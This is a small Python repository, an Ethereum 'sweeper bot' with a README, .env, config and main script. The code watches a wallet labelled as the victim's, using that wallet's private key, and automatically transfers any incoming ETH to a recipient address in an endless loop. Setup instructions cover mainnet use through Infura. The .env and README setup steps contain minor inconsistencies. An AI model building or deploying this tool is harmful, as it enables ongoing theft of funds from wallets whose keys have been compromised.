├── logs
└── .gitkeep
├── requirements.txt
├── src
├── config.py
└── logging_config.py
├── .env
├── README.md
└── main.py
/logs/.gitkeep:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | eth-utils==2.3.1
2 | web3==7.7.0
3 | python-dotenv
4 | loguru
5 |
--------------------------------------------------------------------------------
/src/config.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 |
4 | class Config:
5 | def __init__(self):
6 | self.ganache_mode = os.getenv("GANACHE_MODE")
7 | self.ganache_url = os.getenv("GANACHE_URL")
8 | self.infura_url = os.getenv("INFURA_URL")
9 | self.victim_address = os.getenv("VICTIM_ADDRESS")
10 | self.victim_key = os.getenv("VICTIM_KEY")
11 | self.recipient_address = os.getenv("RECIPIENT_ADDRESS")
12 |
--------------------------------------------------------------------------------
/.env:
--------------------------------------------------------------------------------
1 | # Ganache Testnet
2 | GANACHE_MODE=True
3 |
4 | GANACHE_URL=HTTP://127.0.0.1:8545
5 |
6 | # infura apikey
7 | INFURA_APIKEY=apikey
8 | INFURA_URL=f"https://mainnet.infura.io/v3/{infura_apikey}"
9 |
10 | # Public key & Private key accounts
11 | VICTIM_ADDRESS=0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266
12 | # The victim's ETH address
13 | VICTIM_KEY=0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80
14 | # The victim's private key
15 | RECIPIENT_ADDRESS=0x70997970c51812dc3a010c7d01b50e0d17dc79c8
--------------------------------------------------------------------------------
/src/logging_config.py:
--------------------------------------------------------------------------------
1 | import sys
2 |
3 | from loguru import logger
4 |
5 |
6 | def setup_logging():
7 | logger.remove()
8 |
9 | logger.add(
10 | "logs/wallets.log",
11 | rotation="1 week",
12 | compression="zip",
13 | level="INFO",
14 | format="{time:YYYY-MM-DD at HH:mm:ss} | {level} | {message}",
15 | )
16 |
17 | logger.add(
18 | sys.stdout,
19 | level="INFO",
20 | format="{time:YYYY-MM-DD HH:mm:ss} | {level} | {message}",
21 | )
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Ethereum Sender
2 |
3 | The Ethereum Sender project allows you to automatically send ETH from one wallet to another. By providing a private key for your ETH wallet and a recipient's public key, the script will monitor the wallet for incoming ETH and automatically initiate transfers to the specified recipient.
4 | For more detailed information, you can read [my blog post](https://sobhan.hashnode.dev/unveiling-ethereum-transfer-a-deep-dive-into-sweeper-bots-for-ethereum) dedicated to this project.
5 |
6 | ## Features
7 |
8 | - Automatic ETH transfer from one wallet to another.
9 | - Real-time monitoring of the wallet balance.
10 | - Configurable transaction threshold for initiating transfers.
11 | - private key management.
12 |
13 | ## Requirements
14 |
15 | - Ethereum wallet with a private key.
16 | - Python 3.x installed on your system.
17 | - Web3.py library for Ethereum interaction.
18 |
19 | ## Installation
20 |
21 | 1. Clone this repository to your local machine.
22 | 2. Install the required dependencies using the following command:
23 | `pip install -r requirements.txt`
24 | 3. Open the `.env` file and update the following information:
25 | - `VICTIM_KEY`: The victim Ethereum wallet private key.
26 | - `RECIPIENT_ADDRESS`: The public key of the recipient's Ethereum wallet.
27 | - `ganache_mode`: Set this to `True` if you want to use Ganache for testing purposes, or `False` to use [Infura](https://infura.io) for the mainnet.
28 | Add your Infura API key to the INFURA_APIKEY variable in the config.py file.
29 |
30 | Save the changes in the config.py file.
31 |
32 | Run the main script main.py using the command:
33 |
34 | ## Usage
35 |
36 | 1. Make sure you have configured the `.env` file with the correct information.
37 | 2. Run the script using the following command: python main.py
38 | 3. The script will start monitoring the specified wallet for incoming ETH.
39 | 4. When the wallet balance reaches the configured threshold amount, the script will initiate a transfer to the recipient's wallet automatically.
40 | 5. The script will continue to monitor the wallet balance and initiate transfers as necessary.
41 |
42 | ## Contribution
43 |
44 | Contributions to this project are highly appreciated. You can contribute by submitting pull requests or by reporting issues and suggestions for improvement. You can also ask your questions in the Issues section.
45 |
46 | ## Contact
47 | - For more information, you can visit [my website](http://sobhan.hashnode.dev).
48 | - For questions and suggestions, you can contact me via email: xd3vman@gmail.com
49 |
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | from decimal import Decimal
2 |
3 | from loguru import logger
4 | from web3 import Web3
5 | from dotenv import load_dotenv
6 |
7 | from src.config import Config
8 | from src.logging_config import setup_logging
9 |
10 | load_dotenv()
11 | setup_logging()
12 | config = Config()
13 |
14 | if config.ganache_mode:
15 | W3 = Web3(Web3.HTTPProvider(config.ganache_url))
16 | else:
17 | W3 = Web3(Web3.HTTPProvider(config.infura_url))
18 |
19 | # check connecting W3 to Ganache
20 | if W3.is_connected():
21 | logger.info("started")
22 | else:
23 | logger.error("error connecting...")
24 |
25 | balance = 0
26 |
27 | gas_fee = 21000 * 56 # You can change gasfee value
28 | gas_fee = Decimal(gas_fee)
29 | gas_fee = W3.from_wei(gas_fee, "Gwei")
30 |
31 | logger.info(f"gas fee is : {gas_fee}")
32 |
33 |
34 | def get_balance_loop():
35 | balance = 0
36 | while True:
37 | vb = W3.from_wei(W3.eth.get_balance(Web3.to_checksum_address(config.victim_address)), "ether")
38 | rb = W3.from_wei(W3.eth.get_balance(Web3.to_checksum_address(config.recipient_address)), "ether")
39 | logger.info(f"victim={vb} ETH | recipient={rb} ETH")
40 |
41 | while 0.0005 > balance:
42 | # Get balance account
43 |
44 | try:
45 | balance = W3.eth.get_balance(Web3.to_checksum_address(config.victim_address))
46 | balance = W3.from_wei(balance, "ether") # convert to ether value
47 | except Exception as e:
48 | logger.error(f"error , i can't get balance... error: {e}")
49 |
50 | try:
51 | balance = balance - gas_fee
52 | logger.info(f"ETH balance: {balance}")
53 | build_transaction(balance)
54 | except Exception as e:
55 |
56 | logger.error(f"Error, check balance and Gasfee again error: {e}")
57 |
58 |
59 | def build_transaction(balance):
60 | try:
61 | # get nonce number
62 | nonce = W3.eth.get_transaction_count(Web3.to_checksum_address(config.victim_address))
63 |
64 | # build transaction
65 | tx = {
66 | "nonce": nonce,
67 | "to": Web3.to_checksum_address(config.recipient_address),
68 | "value": W3.to_wei(balance, "ether"),
69 | "gas": 21000,
70 | "gasPrice": W3.to_wei("56", "gwei"),
71 | }
72 |
73 | # sign transaction with private key
74 | signed_tx = W3.eth.account.sign_transaction(tx, config.victim_key)
75 |
76 | # send Transaction
77 | tx_hash = W3.eth.send_raw_transaction(signed_tx.raw_transaction)
78 |
79 | logger.info(W3.to_hex(tx_hash))
80 | logger.info("Transaction Completed\n GET Balance Again...")
81 | get_balance_loop()
82 | except Exception as e:
83 | logger.error(f"ERROR, check buldTransction Funcation {e}")
84 |
85 |
86 | get_balance_loop()
87 |
--------------------------------------------------------------------------------